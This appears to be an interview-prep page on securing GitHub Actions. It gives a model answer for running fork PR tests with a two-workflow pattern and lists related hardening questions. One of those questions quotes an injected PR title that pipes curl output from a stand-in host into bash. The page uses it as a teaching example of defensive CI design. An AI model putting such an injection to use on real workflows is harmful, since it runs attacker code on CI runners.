Your OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.
AdvancedScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Untrusted code must run without secrets; commenting needs write access.
What I'd do →
ci.ymlonpull_request: run tests, writecoverage.jsonand the PR number to an artifact. No secrets, read-only token.comment.ymlonworkflow_run(CI completed): download the artifact withrun-id, validate PR number is an integer and the JSON schema, render the comment, post withpull-requests: write.- Never execute anything from the artifact; never check out the PR head in
comment.yml.
Why → Splits untrusted execution from privileged writing, with only data crossing the boundary.
Interview tip → Name it "the two-workflow pattern" and mention artifact validation.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?BeginnerYou find `pull_request_target` used to build and test PRs in a private repo. Is that acceptable?Advanced